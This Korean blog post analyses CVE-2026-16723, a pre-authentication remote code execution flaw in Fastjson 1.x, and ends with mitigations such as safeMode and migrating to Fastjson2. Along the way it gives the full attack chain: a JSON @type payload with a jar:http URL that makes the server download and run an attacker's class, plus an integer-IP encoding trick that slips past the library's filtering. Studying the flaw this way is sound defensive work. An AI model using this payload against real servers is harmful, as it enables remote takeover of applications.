본문 바로가기
CVE 취약점

CVE-2026-16723 : Fastjson 1.x @JSONType 신뢰 분기를 악용한 Pre-Auth RCE

by WhiteGuidance 2026. 9. 17.
반응형

개요

항목 내용
CVE ID CVE-2026-16723
대상 Fastjson 1.2.68 ~ 1.2.83 (1.x 최종 버전 전부 포함)
요구 조건 Spring Boot 실행형 fat-JAR, safeMode 비활성(기본값), AutoType 비활성(기본값)
인증 불필요 (Pre-Authentication)
CVSS 9.0 (일부 채점 기준 9.8)
패치 없음 — Alibaba는 1.x를 EOL 처리, Fastjson2 마이그레이션만 권고

 

이 CVE가 특이한 이유는 AutoType이 꺼져 있어도, 그리고 알려진 가젯 클래스(JdbcRowSetImpl 등)가 전혀 없어도 RCE가 성립한다는 점입니다. 공격자는 블랙리스트에 없는 완전히 새로운 클래스를 직접 만들어서 원격으로 호스팅하고, Fastjson이 "이 클래스가 진짜인지" 확인하는 과정 자체를 악용합니다.


전체 공격 흐름

6단계로 구성되어 있고, 각 단계는 결정적(deterministic)입니다. 타이밍 레이스도, 메모리 손상도 없습니다.

 

 

  1. evil.jar 제작@JSONType 어노테이션이 붙어 있고 static { } 블록에 Runtime.exec()를 넣은 클래스를 컴파일합니다.
  2. HTTP로 호스팅python3 -m http.server 정도로 충분합니다. TLS도 필요 없습니다.
  3. 공격자 IP를 32비트 정수로 인코딩192.168.1.1003232235876. 이유는 아래 3장에서 다룹니다.
  4. JSON 페이로드 전송JSON.parseObject()를 호출하는 아무 엔드포인트에 {"@type":"jar:http:..3232235876:8080.evil!.Evil"}을 보냅니다.
  5. 두 번의 원격 fetchcheckAutoType() 내부에서 클래스 바이트를 두 번 가져옵니다 (검사용 1회, 실제 로딩용 1회).
  6. <clinit> 자동 실행 — 클래스가 JVM에 defineClass 되는 순간 static 초기화 블록이 실행되어 RCE가 발생합니다.

왜 여섯 차례 하드닝을 뚫었는가

Fastjson의 ParserConfig.checkAutoType()은 2017년 CVE-2017-18349 이후 블랙리스트 도입 → FNV-1a 롤링 해시 업그레이드 → safeMode 추가 → expectClass 강화 → CVE-2022-25845 대응까지 총 6차례 보안 강화를 거친, Java 보안 커뮤니티에서 가장 많이 검토된 코드 중 하나입니다.

 

그런데 이 모든 하드닝은 전부 "@type으로 지정한 클래스 이름이 알려진 위험한 가젯인가" 를 막는 데 집중되어 있었습니다. @JSONType 어노테이션 신뢰 분기는 "개발자가 자기 코드베이스에 직접 붙이는 어노테이션이니 신뢰해도 된다"는 전제로 설계된 별도의 로직이었고, 감사 대상에서 벗어나 있었습니다. 문제는 이 분기가 어노테이션 유무를 확인하기 위해 JVM의 클래스 로더에게 원격 URL을 그대로 넘긴다는 점입니다.

 

아래는 ParserConfig.checkAutoType()의 실제 흐름을 4개의 게이트로 정리한 다이어그램입니다.

 

 

앞의 두 게이트(safeMode, 해시 블랙리스트)는 "이름이 위험한 패턴과 일치하는가" 를 보는 필터입니다. jar:http:..3232235876:8080.evil!.Evil이라는 문자열은 자바 클래스명 형태가 전혀 아니기 때문에 둘 다 그냥 통과됩니다. 진짜 취약점은 3, 4번 게이트에 있습니다.


소스 코드 레벨 분석

게이트 3 — @JSONType 탐지 분기 (실제 취약점의 핵심)

Fastjson 1.2.83의 ParserConfig.java 안에서, 블랙리스트를 통과한 타입 이름은 다음과 같은 로직을 거칩니다 (실제 소스의 핵심 로직을 이해하기 쉽게 재구성한 것입니다):

 

핵심은 (B) 지점입니다. getResourceAsStream()은 이름만 보면 "로컬 리소스를 읽는" 안전한 API처럼 보이지만, defaultClassLoaderURLClassLoader(또는 그 하위 클래스)라면 jar:http:// 스킴을 그대로 해석해서 원격 서버에 실제로 HTTP 연결을 맺고 JAR을 통째로 내려받습니다. ASM ClassReader가 바이트코드를 실행하지 않는다는 안전장치는 사실이지만, 그건 "다운로드된 바이트를 실행하지 않는다"는 보장일 뿐 "애초에 원격에서 바이트를 받아오는 것 자체"는 막지 못합니다.

 

즉 일부 초기 분석 글에서 말하는 "로드가 먼저 일어나고 검사가 나중"이라는 설명은 틀렸습니다. 실제로는 바이트만 안전하게 미리 확인하는 절차(B~C)진짜로 클래스를 로드하는 절차(E), 이렇게 원격 fetch가 두 번 분리되어 있는 구조입니다. 그리고 공격자 입장에서는 (B)만으로도 이미 자신의 서버로 아웃바운드 연결을 유도하는 데 성공한 것이고, @JSONType이 붙어있기만 하면 (E)에서 진짜 RCE가 터집니다.

 

게이트 4 — TypeUtils.loadClass()와 <clinit>

 

여기서 중요한 건 return clazz 시점에는 이미 공격이 끝나 있다는 사실입니다. TypeUtils.loadClass() 내부에서 defaultClassLoader.loadClass()defineClass()가 호출되는 순간, JVM 명세에 따라 그 클래스의 <clinit>(static 초기화 블록)

정확히 한 번, 클래스가 "사용 준비"되는 시점에 자동으로 실행됩니다. 이건 자바 클래스 로딩 메커니즘 자체의 보장이라 Fastjson이 막을 방법이 없습니다.

 

공격자의 Evil.class는 이렇게 생겼습니다.

Evil 클래스를 new 하거나, 메서드를 호출하거나, 반환된 Class<?> 객체를 어디에 쓰거나 할 필요가 전혀 없습니다. 클래스가 로드되는 것 자체가 공격의 끝입니다.

 

Integer-IP 인코딩 — . → / 치환을 우회하는 트릭

(A) 단계의 typeName.replace('.', '/')는 원래 com.example.Foo 같은 자바 클래스명을 com/example/Foo라는 리소스 경로로 바꾸기 위한 정상적인 로직입니다. 그런데 이 치환은 typeName 문자열 전체에 적용되기 때문에, URL 안에 점(.)이 하나라도 들어가면 그 부분까지 전부 슬래시로 바뀌어 버립니다.

 

192.168.1.100처럼 점이 있는 IP를 그대로 쓰면 jar:http://192/168/1/100:8080/evil!/Evil처럼 완전히 깨진 URL이 만들어집니다. 그래서 공격자는 IPv4 주소를 32비트 정수로 바꿔서 점 자체를 없애버립니다.

192.168.1.100을 정수로 바꾸는 계산은 단순합니다.

(192 << 24) | (168 << 16) | (1 << 8) | 100  =  3232235876
정수 형태의 호스트에는 점이 없으므로 Fastjson의 치환 로직을 그대로 통과하고, java.net.URL이 소켓 연결을 맺는 시점에 정수 호스트를 다시 192.168.1.100으로 정상 해석해 줍니다. 이건 JDK 1.4 시절부터 있던 표준 동작이라 JDK의 버그도 아닙니다 — Fastjson의 문자열 치환 로직이 우연히 만들어낸 우회 통로일 뿐입니다.

jar:http://가 동작하는 이유 — Spring Boot LaunchedURLClassLoader

jar:<내부URL>!/<엔트리> 형식의 URL 프로토콜은 JVM이 표준으로 지원하는 기능입니다. 내부 URL이 http://이면 JVM은 해당 주소에서 JAR을 내려받아 지정된 엔트리를 추출합니다. Java Web Start나 애플릿 시절부터 존재하던 정상 기능입니다.

 

Spring Boot의 실행형 fat-JAR은 LaunchedURLClassLoader라는, URLClassLoader를 직접 상속한 클래스 로더를 기본으로 사용합니다. Fastjson이 defaultClassLoader.loadClass("jar:http://3232235876:8080/evil!/Evil")을 호출하면, URLClassLoader의 표준 동작에 따라 다음 순서로 진행됩니다.

  1. jar: 프로토콜 인식
  2. 내부 URL http://3232235876:8080/evil 추출
  3. 해당 주소로 HTTP 연결
  4. GET /evil (JAR 다운로드)
  5. JAR 안에서 Evil.class 엔트리 탐색
  6. defineClass() 호출 → 클래스 등록 및 초기화

이 과정 전부가 표준 JVM 동작입니다. Fastjson도, Spring Boot의 클래스 로더도 각자의 설계 의도 안에서는 잘못한 게 없습니다. 문제는 Fastjson이 신뢰할 수 없는 문자열을 "이게 말이 되는 자바 클래스 이름인가?"라는 최소한의 검증도 없이 그대로 클래스 로더에 넘겼다는 것뿐입니다. ^[a-zA-Z_$][a-zA-Z0-9_$.]*$ 같은 정규식 화이트리스트 한 줄이면 이 버그 클래스 전체가 막혔을 거라는 지적이 나오는 이유입니다.


PoC 영상

 


대응 방안

패치가 없는 상황이라 워크어라운드가 사실상 유일한 선택지입니다.

방법 효과 트레이드오프
safeMode 활성화 (-Dfastjson.parser.safeMode=true) checkAutoType() 최상단에서 무조건 예외 발생 → 전체 경로 차단 @type 기반 다형성 역직렬화를 쓰는 기능이 깨짐
1.2.83_noneautotype 아티팩트로 교체 AutoType 자체가 컴파일 타임에 제거됨 safeMode와 동일한 기능 손실
Fastjson2로 마이그레이션 근본적 해결 (아키텍처 자체가 다름) API 차이로 인한 마이그레이션 비용
아웃바운드 네트워크 차단 JVM이 공격자 서버에 도달 불가 → 원격 fetch 자체가 실패 Fastjson 전용 대책은 아니지만 이 계열의 다음 버그에도 유효

safeMode가 유일하게 확실한 즉시 조치인 이유는, 이 플래그가 checkAutoType()의 맨 위에서 무조건 예외를 던지기 때문입니다. 게이트 3, 4에 도달하기 전에 흐름 자체를 끊어버리므로 우회 인코딩이 아무리 바뀌어도 영향을 받지 않습니다. 반대로 블랙리스트에 jar: 패턴을 추가하는 식의 대응은 Jar:, JAR : (공백 포함), jar:https://, jar:ftp:// 같은 변형으로 쉽게 우회되므로 근본적인 해결책이 되지 못합니다.

 

Fastjson2는 ObjectReaderProvider.autoType()이라는 이름으로 진입점 자체를 바꿨습니다. 타입 이름이 사전에 등록된 화이트리스트에 있는지부터 확인하고, 없으면 클래스 로더 호출 자체를 하지 않는 구조라 이번 CVE와 같은 형태의 원격 fetch primitive가 애초에 존재하지 않습니다.


 

반응형